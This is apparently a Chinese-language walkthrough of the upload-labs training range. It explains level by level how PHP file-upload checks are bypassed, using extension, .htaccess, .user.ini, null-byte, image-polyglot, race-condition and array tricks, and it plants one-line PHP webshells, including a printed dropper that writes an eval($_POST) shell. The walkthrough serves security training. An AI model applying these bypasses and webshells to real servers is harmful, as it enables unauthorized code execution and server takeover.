upload-labs
是一个使用php
语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共21关,每一关都包含着不同上传方式。
第一关
提示:本关在客户端使用js对不合法图片进行检查!
我们先上传1个php文件上去,结果报错,只能上传图片类型的文件。
原因:是因为前端js拦截了,我们先将php文件后缀修改成合法的格式(.png ),在使用burpsuite抓包,再修改.php后缀。然后点击Forward。
我们可以再upload的相应包中看一下我们是否将文件上传成功了。
可以看到我们成功的将一句话木马上传至靶场的服务器。
POST[] 中是自己的密码。
到这里就就成功了,我们可以尝试使用蚁剑连接。
另一种方法:
单击右键,点开检查,设置。
禁用javaScript。
第二关
上传一句话木马PHP文件,发现可以抓包,说明第二关文件验证合法性在后端。
分析代码,发现这关只是对 content-type进行判断,在burp suite中,修改content-type为允许的类型就行了(image/png)。
上传成功。同时蚁剑也可以连接成功!
第三关
尝试上传php文件,结合源码我们可以看出这关设置了文件后缀名黑名单,禁止上传后缀名为php的文件
我们尝试通过扩展名绕过,可以尝试phtml,php3,php4, php5, pht后缀名都可以绕过,但是前提是phpstudy的配置文件httpd.conf
文件里有这样的一句话:
AddType application/x-httpd-php .php .phtml .phps .php1 .php4 .pht
这句话的意思是可以 .phtml .phps 等后缀名的文件执行 php程序
抓包后将后缀改为php5,forward。
尝试使用蚁剑连接,成功。
第四关
通过查看代码,我们可以发现黑名单比第三关更多,所以无法和上一关一样。
但没有禁止.htaccess
补充:
.htaccess文件(或者分布式配置文件),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.htaccess的,但是有的主机服务商可能不允许你自定义自己的.htaccess文件。
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
我们创建一个.htacess文件。用记事本打开,写入AddType application/x-httpd-php .jpg .txt
然后上传该文件,上传成功。
然后将一句话木马的php文件改为.jpg后缀,并上传。
第五关
源码里把所有可以解析的后缀名都给写死了,包括大小写,转换,空格,还有点号,正常的php类文件上传不了了,并且拒绝上传 .htaccess 文件。但没有禁止.user.ini文件。
补充:
user.ini : 自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被
CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用
.htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始
一直上升到 web根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP文
件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI
设置可被识别。
两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。
user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是 .user.ini。
user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。
创建并上传一个.user.ini文件,内容为:auto_prepend_file=1.jpg
意思是所有的php文件都自动包含1.jpg文件。会将其执行。
然后上传1.jpg,打开readme.php,并连接蚁剑。
第六关
这一关同样是后端黑名单,同时过滤掉.htaccess和.ini。但没有使用strtolower()函数,可以使用大小写绕过黑名单。将后缀php改为大小写混合的。
然后直接上传,蚁剑连接。
第七关
查看源码,发现这一关没有使用trim()去除空格,可以使用空格绕过黑名单。
抓包,修改一句话木马文件1.php,加上空格。
蚁剑连接,成功。
第八关
查看源码,发现这一关没有使用deldot()过滤文件名末尾的点,可以使用文件名后加.进行绕过。
抓包,修改一句话木马文件1.php加上点
蚁剑连接,成功。
第九关
补充:
在.Windows.操作系统中,当你看到文件名后跟着":$DATA"时,它表示文件的一个附加数
据流(Alternate-Data Stream,ADS)。数据流是一种用于在文件内部存储额外数据的机制。
在普通情况下,我们使用的文件只有一个默认的数据流,可以通过文件名访问。但是
Windows-NT文件系统(NTFS)支持在文件内部创建额外的数据流,以存储其他信息。这
些额外的数据流可以通过在文件名后面添加”:$DATA"来访问。
例如,"1.xt"是一个文件,而"1.txt:$DATA"是这个文件的一个附加数据流。这样的数据流可
以用于存储文件的元数据、备份信息、标签等。
需要注意的是,大多数常规的文件操作工具不会意识到这些额外的数据流,而只会处理默认
的数据流。要访问或操作这些附加数据流,通常需要使用特定的命令行工具或编程接口。
写入方法:
echo 内容·>>文件名:数据流名
type 文件名>>文件名:数据流名
查看方法:
notepad 文件名:数据流名
这一关没有对::$DATA 进行处理,可以使用::$DATA进行处理,可以使用::$DATA进行处理,可以使用::$DATA绕过黑名单
上传PHP一句话文件,抓包改后缀1.php::$DATA
把::$DATA删除,然后回车,蚁剑连接。
第十关
查看源码,先将首尾去空,又去除了::$DATA
又转换为小写,再删去末尾的点。这样一来我们构造文件名,使其经过过滤后得到的还是php
的文件名不就行了,所以就1.php. .
就可以绕过,也就是点+空格+点+空格
绕过。
上传PHP一句话文件,抓包改后缀1.php. .
第十一关
这一关使用str_ireplace()函数寻找文件名中存在的黑名单字符串,将它替换成空,但他只替换一次,所以可以使用双写绕过黑名单
上传1.php
然后用bp改后缀为.pphphp,
使用蚁剑连接1.php
第十二关
这一关是白名单,最终文件的存放位置是以拼接的方式,可以使用%00截断,但有条件:需要php版本<5.3.4
,并且magic_quotes_gpc
关闭。
原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
上传1.jpg
用BP抓包修改参数,把upload/后面加上1.php%00,
使用蚁剑连接。
第十三关
用burp抓包,发现就是save_path post传参
用POST方式传参,也是00
截断,但是不会像GET方式那样会对%00进行解码。
由于无法自行解码所以我们需要在hex
中找到相对应的位置将数字修改为00
然后就可以放包了,复制图片地址并用蚁剑进行连接
第十四关
补充:
PEG/IFIF(常见的照片格式):头两个字节为·0 xFF·0xD8。
PNG(无损压缩格式):头两个字节为·0x89·0x50。
GIF(支持动画的图像格式):头两个字节为·0x47·0x49。
BMP(Windows位图格式):头两个字节为·0x42·0x4D。
TFF(标签图像文件格式):头两个字节可以是不同的数值。
这一关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件
使用 图片马+文件包含绕过
cmd
使用 copy 2.png/b + 1.php php2.png
制作,上传图片马
然后这关要使用文件包含才能解析木马的执行,点击文件包含页面链接
因为上传图片马之后会被重命名图片所以下面的payload的图片名字可以在上传之后复制图片链接
就可以了
然后用蚁剑连接
第十五关
通过使用getimagesize()检查是否为图片文件,所以还是可以用第十四关
的图片马绕过,并使用文件包含漏洞解析图片马
第十六关
还是可以用十四关的图片马绕过,并使用文件包含漏洞解析图片马
补充:
exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模
块。
第十七关
这一关对上传图片进行了判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接。
注意:对于做文件上传之二次渲染建议用GIF
图片,更简单一点
上传正常的GIF
图片下载回显的图片,用010Editor
编辑器进行对比两个GIF图片内容,找到相同
的地方(指的是上传前和上传后,两张图片的部分Hex
仍然保持不变的位置)并插入PHP一句话,上传带有PHP一句话木马
的GIF图片
利用文件包含漏洞
补充:
二次渲染:后端重写文件内容
basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名
strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
第十八关
这里是条件竞争,先将文件上传到服务器,然后判断文件后缀是否在白名单里,如果在则重命名,否则删除,因此我们可以上传1.php只需要在它删除之前访问即可,可以利用burp的intruder模块不断上传,然后我们不断的访问刷新该地址即可。
为了更好的演示效果,把一句话木马换一下改为:
<?php fputs(fopen('shell.php,w),<?php@eval($_POST["pass"])?>);?>
把这个php文件通过burp一直不停的重放,然后再写python脚本去不停的访问我们上传的这个文件,总会有那么一瞬间是还没来得及删除就可以被访问到的,一旦访问到该文件就会在当前目录下生成一个shell.php的一句话。我们就可以通过蚁剑去链接了。
第十九关
从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。
这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。
这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。
第一步:生成图片马
第二步:上传图片马,用BP拦截
点击Clear$
设置无限发送空的Payloads
,来让它一直上传该文件
第二十关
没有对上传的文件做判断,只对用户输入的文件名做判断
后缀名黑名单
上传的文件名用户可控
黑名单用于用户输入的文件后缀名进行判断
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.
先准备PHP一句话木马,并把后缀名改为PNG再上传
然后用BP来抓包,把upload-19.jpg
改为upload-19.php/.
修改完直接放包,然后复制图片地址,用蚁剑连接
第二十一关
补充:
explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
end(array)函数,输出数组中的当前元素和最后一个元素的值。
reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值
count(array)函数,计算数组中的单元数目,或对象中的属性个数
这一关白名单
验证过程:
--> 验证上传路径是否存在
--> 验证['upload_file']的content-type是否合法(可以抓包修改)
--> 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
-->判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组
--> 判断数组最后一个元素是否合法
--> 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name
--> 上传文件
上传1.php用BP来拦截并改包
修改content-type
修改POST参数为数组类型,索引[0]为`upload-20.php`,索引[2]为`jpg|png|gif`。
只要第二个索引`不为1`,$file[count($file) - 1]就等价于$file[2-1],值为空
然后就放包
复制图片地址,用蚁剑进行连接